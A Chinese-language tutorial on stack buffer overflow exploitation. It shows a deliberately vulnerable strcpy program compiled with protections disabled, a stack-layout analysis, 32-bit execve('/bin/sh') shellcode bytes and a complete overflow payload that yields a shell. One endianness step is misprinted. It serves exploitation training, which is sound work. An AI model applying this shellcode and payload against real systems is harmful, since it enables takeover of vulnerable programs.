棧溢出利用和shellcode
棧溢出指的是程序向棧中某個變量中寫入的字節數超過了這個變量本身所申請的字節數,因而導致與其相鄰的棧中的變量的值被改變。這種問題是一種特定的緩沖區溢出漏,類似的還有堆溢出,bss 段溢出等溢出方式。棧溢出漏洞輕則可以使程序崩潰,重則可以使攻擊者控制程序執行流程。此外,我們也不難發現,發生棧溢出的基本前提是
- 程序必須向棧上寫入數據。
- 寫入的數據大小沒有被良好地控制。
本節我們主要是講解棧溢出的原理和利用,以及手寫shellcode,在比賽中往往是通過工具生成的,但是為了更好的理解基礎概念,這里我們自己一步步地寫。
利用棧溢出
首先我們給出一個存在棧溢出漏洞的代碼shellcode.c
#include <string.h>
void overflow(char *arg)
{
char buf_over[128];
strcpy(buf_over,arg);
}
int main(int argc, char *argv[])
{
/* code */
overflow(argv[1]);
return 0;
}
程序接受命令行輸入的第一個參數,如果這個參數過長就會導致棧溢出,strcpy時就會溢出棧上緩沖區buf。作為第一個漏洞利用的案例,我們不開啟棧不可執行保護和棧canary保護選項,具體操作如下
gcc -z execstack -fno-stack-protector -Wl,-Ttext-segment=0x8048000 shellcode.c -o shellcode -m32
可以看到在overflow函數體內存在棧溢出,當我們輸入的參數過長時會覆蓋掉原有棧上的數值。將程序放到ida下看看。

這里我們反匯編F5 overflow() 函數,從中可以發現[ebp-88h]意味著數組buf_over的首地址與當前函數的ebp的偏移量位0x88h也就是136,這里涉及到別的局部變量所以沒有正好是128。當輸入字符串時,棧上的布局為如下情況
| return addr(eip) | 當前函數的ebp | buf[0-136] |
那么當我們輸入可以溢出的字符串時A*200,會出現如下情況
| return addr = ‘AAAA’ | ebp = ‘AAAA’ | AAAAAA……AAAAA(136)|
既然我們可以控制輸入并且可以在確定的地址輸入特定的數值,那么就可以利用漏洞了。
比如這樣
|return addr = ‘我們自己的代碼入口’| ebp = ‘whatever’| AAAA……AAAA |
通常情況下我們獲得shell即拿到控制權即可,下面講解一個概念。
shellcode
shellcode顧名思義就是可以獲得shell的code。
比如常見的execve("/bin/sh", null, null)
我么將該函數進行反匯編得到的opcode如下所示
我們將opcode存儲為字符串形式,并開啟棧上可執行,這些字符串就是我們的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

可以看到我們已經拿到了shell
接下來就是將整個shellcode作為輸入放進程序的棧上
觸發漏洞
那么我們可以進行如下的輸入來觸發漏洞shellcode + 'A'填充用 + ‘0xcafebabe’覆蓋原先的ebp + 'shellcode的入口地址'
最終輸入后棧上的情況如下所示
| EIP(shellcode入口地址&buf[0]) | ‘whatever’(原先ebp被覆蓋) | AAA…AA + shellcode |
我們輸入的數據為python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "A"*111 + "cafe" +"\x10\xd0\xff\xff" '

在ret命令之前斷下可以看到當前函數的ebp已經被我們改寫了,同時查看ebp-4也就是return addr(eip)的數值已經指向了我們輸入shellcode的起始地址了。
單步步過ret發現我們已經進入了shellcode的代碼空間了。執行完之后即可獲得shell
這里涉及到小端和大端的問題,我們這樣理解即可,輸入字符串是從低地址向高地址存儲在棧上的,代碼段的執行也是從低地址向高地址讀取opcode執行的。比如我們要輸入0xcafebabe到棧中,我們需要這樣輸入\xbe\xba\xfe\xca因為首先是將\xbe入棧的,整個入棧的過程如下所示
- 0x000000be 第一步
- 0x0000bade 第二步
- 0x00febabe 第三步
- 0xcafebabe 第四步
參考
https://wiki.x10sec.org/pwn/stackoverflow/basic_rop/
https://www.bilibili.com/video/BV1fz411i7QA
http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation/